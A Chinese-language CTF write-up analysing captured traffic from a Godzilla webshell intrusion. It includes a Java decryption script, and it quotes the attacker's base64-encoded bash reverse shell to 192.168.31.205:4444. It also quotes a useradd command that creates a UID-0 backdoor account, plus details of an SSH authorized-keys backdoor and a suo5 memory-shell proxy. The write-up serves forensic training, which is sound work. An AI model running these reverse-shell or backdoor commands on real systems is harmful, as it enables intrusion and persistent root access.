哥斯拉ekp版本流量分析

1.黑客上传的木马文件名是什么?

根据这个靶场提示这里是用哥斯拉连接的

我们先复习一下哥斯拉链接webshell的流量特征是什么

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1. 流量中可见`eval`、`base64_decode`、`strrev`等函数

2. 强特征:链接失败情况下2个流量包,成功为 3个流量包

3. 第一个请求总会发送大量数据,这是配置信息,且请求包内无 cookie,服务器响应包无内容,生成一个 session,后续请求会带上此session 到请求包中的 cookie中3、强特征:生成的 cookie 后面有个分号

4. Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*
/*;q=0.8

5. Accept-Language :
zh-CN,zh;q=0.8,zh-Tw;q=0.7,zh-HK;q=0.5,en-Us;q=0.3,en;q=0.2

6. 尝试利用默认密钥等解密 成功还原算法明文即可认定对应工具

我们打开靶场下载的流量包,拿到wireshark分析,哥斯拉是用post的传输的,我们直接在wireshark里面抓取POST方式传输的流量包

1
http.request.method =="POST"

image-20250731181921656

这里出现了很多./index.jsp文件我们再对这个文件进行针对搜索

1
http contains "/.index.jsp"

image-20250731182051512

看到这里有个put包点开http追踪,是一个典型的 PUT Webshell 上传攻击流量

image-20250731182409130

至此确定这个文件是木马文件

1
flag{.index.jsp}

2.黑客上传的木马连接密码是什么?

从第一题的上题最后的图片分析可知flag是

1
flag{mypass}

3.黑客上传的木马连接密钥是什么?

从第一题的上题最后的图片分析可知flag是

1
flag{9adbe0b3033881f8}

4.黑客连接webshell后执行的第一条命令是什么?

这里我们要对之前webshell的加密方式进行解密,自己不会这方面找在网上找了大佬的用,该代码用于解密一个经过双层 Base64 编码 + AES 加密的 Payload(如 WebShell 类、恶意类),并保存为 a.bin 文件,供后续分析或加载

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import java.util.Base64;
import java.math.BigInteger;
import java.security.MessageDigest;
import java.io.FileOutputStream;

public class exp {

static String xc = "9adbe0b3033881f8";
static String pass = "mypass";

public static void main(String[] args) throws Exception {

String m="替换为你抓到的两层 Base64 加密字符串";

// base64 → base64 → AES 解密
byte[] data = base64Decode(m.getBytes());
data = base64Decode(data);
byte[] decrypted = x(data, false);

System.out.println(decrypted);
FileOutputStream fos = new FileOutputStream("a.bin");
fos.write(decrypted);
fos.close();
}

public static String md5(String s) {
String ret = null;
try {
MessageDigest m = MessageDigest.getInstance("MD5");
m.update(s.getBytes(), 0, s.length());
ret = new BigInteger(1, m.digest()).toString(16).toUpperCase();
} catch (Exception e) {
}
return ret;
}

public static byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}

public static byte[] base64Decode(String bs) throws Exception {
Class base64;
byte[] value = null;
try {
base64 = Class.forName("java.util.Base64");
Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
Object decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
public static byte[] base64Decode(byte[] bytes) {
Class base64;
byte[] value = null;
Object decoder;
try {
base64 = Class.forName("java.util.Base64");
decoder = base64.getMethod("getDecoder", null).invoke(base64, null);
value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes});
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Decoder");
decoder = base64.newInstance();
value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)});
} catch (Exception e2) {
}
}
return value;
}

public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) Encoder.getClass().getMethod("encodeToString", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e) {
try {
base64 = Class.forName("sun.misc.BASE64Encoder");
Object Encoder = base64.newInstance();
value = (String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bs });
} catch (Exception e2) {}
}
return value;
}
}

继续翻阅流量包,在长度为440这里发现了不对,前面都是哥斯拉的初始化流量

如何判断哥斯拉初始化流量特征?

核心特征

  1. 初始化流量包序列
    • 连接成功时固定发送3个连续请求包:
      • 首包:大体积POST请求(约23KB),上传加密Payload,响应为空但设置PHPSESSID
      • 次包:测试连接(methodName=test),响应体为 16位MD5 + Base64("ok") + 16位MD5 结构(PHP版小写,JSP版大写)。
      • 三包:获取环境信息(methodName=getBasicsInfo),响应结构同上。
    • 检测要点:包顺序、响应体MD5包裹结构(强特征)。
  2. Cookie异常
    • Cookie值末尾带分号(如PHPSESSID=xxx;),违反HTTP规范(强特征)。
  3. 加密与响应结构
    • 使用PHP_XOR_BASE64加密器时,请求含evalbase64关键词;RAW模式全乱码。
    • 响应体始终为 MD5前16位 + Base64密文 + MD5后16位
  4. 弱特征(易修改)
    • UA头默认含JDK版本(如Java/1.8.0_121)。
    • Accept头固定为text/html, image/gif, image/jpeg, *; q=.2, /; q=.2(JDK引入)

image-20250802091631276

这里的流量包不再是三个连续的流量包并且是一个大两个小的特征了

讲加密密文拿去解密

image-20250802094243520

现将密文进行一次url解码

image-20250802100434501

再把密文丢进刚刚的解密脚本里面,解密完出来会在目录下面生成一个a.bin文件,讲bin后缀改为zip解压

image-20250802094959338

解压完后用010打开,可以看到黑客执行的命令

1
flag{cat /etc/passwd}

image-20250802095335351

5.这个木马是根据哪个参数进行回显的?(提交参数名)

从刚才的返回包的流量包就能看出来

1
flag{Rec106e_config}

image-20250802095926551

6.黑客留下后门的反连的IP和PORT是什么?(flag{IP,PORT})

继续分析流量包,在长度为552这里发现没有返回包,怀疑是黑客进行的反联操作

image-20250802102051854

将包复制先进行一次url解码

image-20250802102026312

image-20250802102003863

讲解码完后的base64编码放进刚刚的解密脚本里面会在当前目录下生成一个a.bin文件将后缀改为zip用文本编译器打开就行了我这里用的sublime

可以看到这里执行了一段base64加密代码,讲加密代码解密

1
echo L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzE5Mi4xNjguMzEuMjA1LzQ0NDQgMD4mMQ==|base64 -d|bash

image-20250802103227907

可看到是黑客的反连操作能看到反连的地址和端口

1
flag{192.168.31.205,4444}

image-20250802103729150

7.黑客通过后门反连执行的第一条命令是什么?

继续看流量包吧,上面我们看到了黑客的地址和端口,我们针对进行搜索

1
ip.src==192.168.31.205 && tcp.port==4444

image-20250802105451493

按照时间顺序排序第一个打开具看到了命令执行 第一个命令是ls

1
flag{ls}

image-20250802105348799

8.黑客新增的后门用户名密码是什么?(提交flag{username,password})

从上面那段base64加密后解密可以看到

image-20250802105634575

以下表格总结命令中各参数的作用,结合资料中的技术细节:

参数/子命令 含义 作用解析
useradd 添加用户 主命令,用于创建新用户。
-p \openssl passwd -1 -salt ‘salt’ Xj@666.`` 设置加密密码 -p 需接受加密密码;子命令生成密码哈希: - openssl passwd: 生成密码哈希的工具。 - -1: 使用 MD5 算法加密(旧版 Linux 兼容)。
- -salt 'salt': 指定盐值(salt)为 salt,盐值用于增加哈希随机性,防止彩虹表攻击(静态盐值降低安全性)。
- Xj@666.: 明文密码(含特殊字符 @.,需确保转义)。
- 输出示例:类似 $1$salt$... 的哈希字符串((https://epubservercos.yuewen.com/E8FBE0/29427546503421506/epubprivate/OEBPS/Images/45_02.jpg))。
x 用户名 新用户登录名为 x(建议用描述性名称,避免混淆)。
-o 允许重复 UID 覆盖 UID 唯一性限制,允许创建另一个 UID 0 的用户(默认 UID 0 仅限 root)。
-u 0 用户 ID (UID) 设置 UID 为 0(root 的 UID),赋予 root 权限。
-g root 主组 设置主组为 root(GID 0)。
-G root 附加组 添加用户到附加组 root(确保用户属于 root 组)。
-s /bin/bash 默认 Shell 设置登录 Shell 为 Bash(标准交互环境)。

关键子命令详解:openssl passwd -1 -salt 'salt' Xj@666.

1
flag{x,Xj@666.}

9.黑客新增的后门文件是什么?(提交完整路径)

上机操作,使用命令grep -r "/dev/tcp" .用于递归搜索当前目录及子目录下所有文件,找出包含 /dev/tcp 字符串的内容。

为什么要搜索这个文件?

黑客常利用 /dev/tcp 在入侵主机上建立反向连接。此命令可快速定位含有此类特征的恶意脚本(如 PHP、Shell、Python 文件)

关键目录建议
若怀疑系统被入侵,需扩展搜索至敏感目录:

grep -r “/dev/tcp” /etc /var /tmp /home /usr/local/bin

image-20250802141459180

可以看到后门文件被写在了./etc/hosts.allow下面

image-20250802141949951

1
flag{/etc/hosts.allow}

10.黑客的后门公钥是什么?(提交公钥的md5值)

上机查看 /etc/ssh/sshd_config文件

image-20250802142653480

sshd_config 的恶意修改

  • 黑客在 /etc/ssh/sshd_config 中添加自定义路径:
1
AuthorizedKeysFile .ssh/authorized_keys /root/.bash_h1story/.keys

路径伪装.bash_h1story)、命名异常.keys)、配置篡改sshd_config)及 MD5 指纹唯一性 的四重验证,可确认 /root/.bash_h1story/.keys 为黑客植入的公钥文件

image-20250802143402897

image-20250802155305267

1
flag{d7bf0e27d6f533604250faceb28b6d4b}

11.黑客注入的内存马代理是哪种类型的

将长度为552的流量包解密后发现是java的内存吗

image-20250802151103834

image-20250802151050626

image-20250802151125469

1
flag{suo5}

12.这个代理的路径是什么

根据上一题解密出来的的流量包发现 最后的请求路径为/connect

1
flag{/connect}

13.这个代理的连接密码是什么

代理的链接密码就是userAgent这个值

1
flag{Mozilla/5.0 (Linux; Android 6.0; Nexus 5 Build/MRA58N) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.1.2.3}

image-20250802155753126

1
flag{e3c77fd790af8d25fe271cd275eb405e}

14.黑客扫描了哪个ip的哪些端口

分析流量包讲最后一条的这个流量包进行解密

image-20250802152451781

image-20250802152741860

image-20250802152538936

873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222都是一些常见的端口

1
flag{127.0.0.1,873,3306,80,8080,81,8081,21,22,88,8088,8888,1433,443,445,3389,222}

15、黑客扫描到开放的端口有哪些?(端口从小到大排序提交 如:flag{21,22,23})

我们把这里套流量包的的返回包解密

image-20250802152834264

1
O0pxNnI7RBLmTfxrZXBrd1hPUptIuxNFvFA0fwK3H6tpwnz3L//0O5GRj/NMw8O+Ve0PQGfQQGLSAWkVLE1AB9EV0bTKEBBhx/vVcCW6STm7yr2TwRZZHhMn5g3vJvX1
1
2
3
4
5
6
7
8
9
10
11
String m="O0pxNnI7RBLmTfxrZXBrd1hPUptIuxNFvFA0fwK3H6tpwnz3L//0O5GRj/NMw8O+Ve0PQGfQQGLSAWkVLE1AB9EV0bTKEBBhx/vVcCW6STm7yr2TwRZZHhMn5g3vJvX1";

// base64 → base64 → AES 解密
byte[] data = base64Decode(m.getBytes());
//data = base64Decode(data);
byte[] decrypted = x(data, false);

System.out.println(decrypted);
FileOutputStream fos = new FileOutputStream("a.zip");
fos.write(decrypted);
fos.close();

脚本少解密一次base64编码

image-20250802154751027

有1的是开放的端口 222 8081

1
flag{222,8081}

最后感谢两位大佬的文章

https://ta0.fun/posts/ae37354d/

https://xia0le.github.io/posts/%E5%93%A5%E6%96%AF%E6%8B%89ekp%E7%89%88%E6%9C%AC%E6%B5%81%E9%87%8F%E5%88%86%E6%9E%90